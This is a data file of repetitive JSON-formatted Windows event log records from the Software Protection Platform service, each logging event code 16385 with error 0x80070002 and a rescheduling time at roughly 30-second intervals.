{"@timestamp":1659018237298,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172591}}
{"@timestamp":1659018267306,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172592}}
{"@timestamp":1659018297313,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172593}}
{"@timestamp":1659018327320,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172594}}
{"@timestamp":1659018357326,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172595}}
{"@timestamp":1659018387335,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172596}}
{"@timestamp":1659018417343,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172597}}
{"@timestamp":1659018447350,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172598}}
{"@timestamp":1659018477357,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172599}}
{"@timestamp":1659018507365,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172600}}
{"@timestamp":1659018537371,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172601}}
{"@timestamp":1659018567377,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172602}}
{"@timestamp":1659018597384,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172603}}
{"@timestamp":1659018627390,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172604}}
{"@timestamp":1659018657397,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172605}}
{"@timestamp":1659018687406,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172606}}
{"@timestamp":1659018717412,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172607}}
{"@timestamp":1659018747420,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172608}}
{"@timestamp":1659018777427,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172609}}
{"@timestamp":1659018807435,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172610}}
{"@timestamp":1659018837442,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172611}}
{"@timestamp":1659018867449,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172612}}
{"@timestamp":1659018897456,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172613}}
{"@timestamp":1659018927462,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172614}}
{"@timestamp":1659018957468,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172615}}
{"@timestamp":1659018987474,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172616}}
{"@timestamp":1659019017481,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172617}}
{"@timestamp":1659019047487,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172618}}
{"@timestamp":1659019077493,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172619}}
{"@timestamp":1659019107501,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172620}}
{"@timestamp":1659019137508,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172621}}
{"@timestamp":1659019167517,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172622}}
{"@timestamp":1659019197523,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172623}}
{"@timestamp":1659019227529,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172624}}
{"@timestamp":1659019257536,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172625}}
{"@timestamp":1659019287542,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172626}}
{"@timestamp":1659019317548,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172627}}
{"@timestamp":1659019347558,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172628}}
{"@timestamp":1659019377565,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172629}}
{"@timestamp":1659019407572,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172630}}
{"@timestamp":1659019437580,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172631}}
{"@timestamp":1659019467586,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172632}}
{"@timestamp":1659019497594,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172633}}
{"@timestamp":1659019527602,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172634}}
{"@timestamp":1659019557609,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172635}}
{"@timestamp":1659019587616,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172636}}
{"@timestamp":1659019617623,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172637}}
{"@timestamp":1659019647631,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172638}}
{"@timestamp":1659019677637,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172639}}
{"@timestamp":1659019707645,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172640}}
{"@timestamp":1659019737651,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172641}}
{"@timestamp":1659019767658,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172642}}
{"@timestamp":1659019797664,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172643}}
{"@timestamp":1659019827671,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172644}}
{"@timestamp":1659019857677,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172645}}
{"@timestamp":1659019887684,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172646}}
{"@timestamp":1659019917692,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172647}}
{"@timestamp":1659019947699,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172648}}
{"@timestamp":1659019977707,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172649}}
{"@timestamp":1659020007715,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172650}}
{"@timestamp":1659020037721,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172651}}
{"@timestamp":1659020067729,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172652}}
{"@timestamp":1659020097736,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172653}}
{"@timestamp":1659020127743,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172654}}
{"@timestamp":1659020157749,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172655}}
{"@timestamp":1659020187756,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172656}}
{"@timestamp":1659020217762,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172657}}
{"@timestamp":1659020247768,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172658}}
{"@timestamp":1659020277774,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172659}}
{"@timestamp":1659020307780,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172660}}
{"@timestamp":1659020337787,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172661}}
{"@timestamp":1659020367792,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172662}}
{"@timestamp":1659020397799,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172663}}
{"@timestamp":1659020427806,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172664}}
{"@timestamp":1659020457812,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172665}}
{"@timestamp":1659020487818,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172666}}
{"@timestamp":1659020517824,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:57Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172667}}
{"@timestamp":1659020547885,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:27Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172668}}
{"@timestamp":1659020578111,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172669}}
{"@timestamp":1659020608119,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172670}}
{"@timestamp":1659020638125,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172671}}
{"@timestamp":1659020668132,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172672}}
{"@timestamp":1659020698139,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172673}}
{"@timestamp":1659020728145,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172674}}
{"@timestamp":1659020758150,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172675}}
{"@timestamp":1659020788158,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172676}}
{"@timestamp":1659020818166,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172677}}
{"@timestamp":1659020848171,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172678}}
{"@timestamp":1659020878178,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172679}}
{"@timestamp":1659020908185,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172680}}
{"@timestamp":1659020938191,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172681}}
{"@timestamp":1659020968197,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172682}}
{"@timestamp":1659020998204,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172683}}
{"@timestamp":1659021028211,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172684}}
{"@timestamp":1659021058217,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172685}}
{"@timestamp":1659021088225,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172686}}
{"@timestamp":1659021118232,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172687}}
{"@timestamp":1659021148239,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172688}}
{"@timestamp":1659021178246,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172689}}
{"@timestamp":1659021208253,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172690}}
{"@timestamp":1659021238261,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172691}}
{"@timestamp":1659021268269,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172692}}
{"@timestamp":1659021298276,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172693}}
{"@timestamp":1659021328282,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172694}}
{"@timestamp":1659021358289,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172695}}
{"@timestamp":1659021388295,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172696}}
{"@timestamp":1659021418302,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172697}}
{"@timestamp":1659021448309,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:28Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172698}}
{"@timestamp":1659021478316,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-08-03T15:33:58Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":172699}}
